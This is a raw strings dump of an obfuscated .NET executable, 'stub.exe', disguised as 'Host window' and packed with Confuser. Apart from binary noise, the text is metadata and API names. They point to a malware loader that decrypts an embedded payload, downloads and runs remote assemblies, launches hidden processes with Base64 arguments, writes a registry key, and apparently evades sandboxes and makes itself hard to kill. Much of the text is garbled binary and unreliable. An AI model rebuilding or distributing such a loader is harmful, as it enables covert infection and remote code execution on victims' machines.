!This program cannot be run in DOS mode.
`.rsrc
@.reloc
]'Y I}
SyG
_sa c2
<hexXXao
_x!~,<
c}f!1s
03!Y+(
pU{;!B
pJdq!Ka>
ZY7Qr(
Y9:nZX
qEXnZX
YaaY!nJ
va`7XnZX
iy[anZX
5IY
VzaXYdm
BaaXadm
a oau_
$d j?,
UDXaaX z3
HQ7aaXXdm
|,!RTVW
KXaYa
RYanZX
&!(wQl
s4l1aXdm
HxYYYnZX
a j]'& W1
;YaanZX
1XanZX
`=aXa
k}4 W\
3NfXaXdm
!W!_827e
a !v$q
(''YnZX
YYa!hJ
XanZX
#OYXaYnZX
^!XYnZX
oT^XYnZX
JX GeDgaY
xNSXadm
L=oXX 1
`.aadm
q\F 6
v2.0.50727
#Strings
stub.exe
mscorlib
System
System.Management
kernel32.dll
ntdll.dll
<Module>
Dictionary`2
System.Collections.Generic
Stream
System.IO
DeflateStream
System.IO.Compression
MethodBase
System.Reflection
Assembly
MemoryStream
GetExecutingAssembly
Encoding
System.Text
get_UTF8
BitConverter
GetBytes
GetString
GetManifestResourceStream
get_Length
GetCurrentMethod
MemberInfo
get_Module
Module
get_MetadataToken
ResolveSignature
ToUInt32
RijndaelManaged
System.Security.Cryptography
Create
HashAlgorithm
ComputeHash
SymmetricAlgorithm
CreateDecryptor
ICryptoTransform
CryptoStream
CryptoStreamMode
CompressionMode
Dispose
ToArray
.cctor
Object
Environment
SpecialFolder
System.Threading
GetPhysicallyInstalledSystemMemory
WaitHandle
WaitOne
WebClient
System.Net
DownloadData
String
Concat
DownloadString
Process
System.Diagnostics
GetProcessesByName
op_Inequality
op_Equality
ParameterizedThreadStart
Thread
List`1
IEnumerable`1
GetRange
Random
Exception
ProcessStartInfo
Convert
FromBase64String
set_Arguments
set_WindowStyle
ProcessWindowStyle
set_CreateNoWindow
set_FileName
WaitForExit
ManagementObjectSearcher
ManagementObject
ManagementObjectCollection
ManagementObjectEnumerator
GetEnumerator
get_Current
ManagementBaseObject
get_Item
ToString
MoveNext
IDisposable
get_OSVersion
OperatingSystem
get_Version
Version
get_Major
get_MachineName
AppDomain
get_TickCount
DownloadFile
CreateDomain
ExecuteAssembly
Evidence
System.Security.Policy
Unload
Collect
Delete
RegistryKey
Microsoft.Win32
GetEntryAssembly
get_Location
GetFolderPath
Registry
CurrentUser
OpenSubKey
SetValue
Contains
set_Proxy
IWebProxy
EnterDebugMode
GetCurrentProcess
get_Handle
NtSetInformationProcess
GetTypeFromHandle
RuntimeTypeHandle
TryGetValue
Marshal
System.Runtime.InteropServices
SizeOf
Buffer
BlockCopy
set_Item
ConfusedByAttribute
Attribute
AssemblyFileVersionAttribute
GuidAttribute
ComVisibleAttribute
AssemblyTrademarkAttribute
AssemblyCopyrightAttribute
AssemblyProductAttribute
AssemblyCompanyAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
AssemblyTitleAttribute
CompilationRelaxationsAttribute
System.Runtime.CompilerServices
RuntimeCompatibilityAttribute
SuppressIldasmAttribute
^8#4'TyR$
eS!==7
1.0.0.0
$822f952f-a50f-4f75-bda5-c88400f55e47
Copyright ? 2015
Host window
WrapNonExceptionThrows
Confuser v1.9.0.0
_CorExeMain
mscoree.dll
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
FileDescription
Host window
FileVersion
1.0.0.0
InternalName
stub.exe
LegalCopyright
Copyright ? 2015
OriginalFilename
stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0